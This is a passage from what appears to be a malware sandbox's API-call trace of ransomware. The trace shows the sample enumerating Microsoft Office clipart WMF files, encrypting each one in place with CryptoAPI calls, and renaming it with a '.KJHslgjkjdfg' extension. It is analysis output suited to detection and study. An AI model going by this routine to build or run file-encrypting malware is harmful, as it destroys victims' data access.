lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79c77a00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5aca0270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x79c77a00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2764, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SY00795_.WMF", cAlternateFileName="")) returned 1 [0249.229] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00795_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00795_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0249.231] GetProcessHeap () returned 0x2ef0000 [0249.231] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0249.231] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0249.231] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0249.231] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xc, lpOverlapped=0x0) returned 1 [0249.233] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0249.233] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0249.233] GetProcessHeap () returned 0x2ef0000 [0249.233] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0249.234] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0249.234] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0249.234] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0249.234] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0249.234] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0249.234] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0249.234] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0249.234] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0249.234] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0249.234] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0249.234] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0249.234] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x2764, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x2764, lpOverlapped=0x0) returned 1 [0249.235] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2770, dwBufLen=0x2770 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2770) returned 1 [0249.236] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0249.236] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x2770, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x2770, lpOverlapped=0x0) returned 1 [0249.236] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0249.236] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2844, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0249.236] SetEndOfFile (hFile=0x130) returned 1 [0249.238] GetProcessHeap () returned 0x2ef0000 [0249.238] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0249.238] GetProcessHeap () returned 0x2ef0000 [0249.238] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0249.239] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00795_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00795_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00795_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00795_.wmf.kjhslgjkjdfg")) returned 1 [0249.240] CloseHandle (hObject=0x130) returned 1 [0249.240] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb5ec100, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x5aca0270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb5ec100, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0x9b0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SY00882_.WMF", cAlternateFileName="")) returned 1 [0249.240] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00882_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00882_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0249.242] GetProcessHeap () returned 0x2ef0000 [0249.242] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0249.243] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0249.243] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0249.243] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0249.243] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0249.243] GetProcessHeap () returned 0x2ef0000 [0249.243] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0249.243] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0249.243] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0249.243] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0249.245] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0249.245] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0249.245] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0249.245] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0249.245] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0249.245] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0249.245] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0249.245] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0249.246] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x9b0, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x9b0, lpOverlapped=0x0) returned 1 [0249.246] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x9b0, dwBufLen=0x9b0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x9b0) returned 1 [0249.246] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0249.246] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x9b0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x9b0, lpOverlapped=0x0) returned 1 [0249.246] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0249.246] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xa84, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0249.246] SetEndOfFile (hFile=0x130) returned 1 [0249.248] GetProcessHeap () returned 0x2ef0000 [0249.248] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0249.248] GetProcessHeap () returned 0x2ef0000 [0249.248] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0249.249] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00882_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00882_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00882_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00882_.wmf.kjhslgjkjdfg")) returned 1 [0249.250] CloseHandle (hObject=0x130) returned 1 [0249.250] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79c77a00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5aca0270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x79c77a00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x634, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SY01006_.WMF", cAlternateFileName="")) returned 1 [0249.250] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01006_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy01006_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0249.251] GetProcessHeap () returned 0x2ef0000 [0249.251] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0249.251] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0249.251] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0249.251] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xc, lpOverlapped=0x0) returned 1 [0249.253] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0249.254] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0249.254] GetProcessHeap () returned 0x2ef0000 [0249.254] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0249.254] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0249.254] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0249.254] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0249.254] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0249.254] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0249.254] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0249.254] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0249.254] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0249.255] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0249.255] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0249.255] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0249.255] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x634, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x634, lpOverlapped=0x0) returned 1 [0249.255] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x640, dwBufLen=0x640 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x640) returned 1 [0249.255] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0249.255] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x640, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x640, lpOverlapped=0x0) returned 1 [0249.255] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0249.255] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x714, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0249.255] SetEndOfFile (hFile=0x130) returned 1 [0249.259] GetProcessHeap () returned 0x2ef0000 [0249.259] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0249.259] GetProcessHeap () returned 0x2ef0000 [0249.259] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0249.259] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01006_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy01006_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01006_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy01006_.wmf.kjhslgjkjdfg")) returned 1 [0249.261] CloseHandle (hObject=0x130) returned 1 [0249.261] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x865cd000, ftCreationTime.dwHighDateTime=0x1bd4be7, ftLastAccessTime.dwLowDateTime=0x5aca0270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x865cd000, ftLastWriteTime.dwHighDateTime=0x1bd4be7, nFileSizeHigh=0x0, nFileSizeLow=0x2734, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SY01252_.WMF", cAlternateFileName="")) returned 1 [0249.261] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01252_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy01252_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0249.262] GetProcessHeap () returned 0x2ef0000 [0249.262] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0249.262] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0249.262] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0249.262] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xc, lpOverlapped=0x0) returned 1 [0249.265] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0249.265] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0249.265] GetProcessHeap () returned 0x2ef0000 [0249.265] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0249.265] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0249.265] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0249.265] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0249.265] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0249.265] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0249.266] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0249.266] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0249.266] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0249.266] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0249.266] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0249.266] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0249.266] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x2734, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x2734, lpOverlapped=0x0) returned 1 [0249.267] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2740, dwBufLen=0x2740 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2740) returned 1 [0249.267] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0249.267] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x2740, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x2740, lpOverlapped=0x0) returned 1 [0249.267] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0249.267] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2814, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0249.268] SetEndOfFile (hFile=0x130) returned 1 [0249.271] GetProcessHeap () returned 0x2ef0000 [0249.271] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0249.271] GetProcessHeap () returned 0x2ef0000 [0249.271] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0249.271] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01252_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy01252_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01252_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy01252_.wmf.kjhslgjkjdfg")) returned 1 [0249.273] CloseHandle (hObject=0x130) returned 1 [0249.273] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x852ba300, ftCreationTime.dwHighDateTime=0x1bd4be7, ftLastAccessTime.dwLowDateTime=0x5aca0270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x852ba300, ftLastWriteTime.dwHighDateTime=0x1bd4be7, nFileSizeHigh=0x0, nFileSizeLow=0x78a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SY01253_.WMF", cAlternateFileName="")) returned 1 [0249.273] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01253_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy01253_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0249.274] GetProcessHeap () returned 0x2ef0000 [0249.274] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0249.274] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0249.274] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0249.274] WriteFile 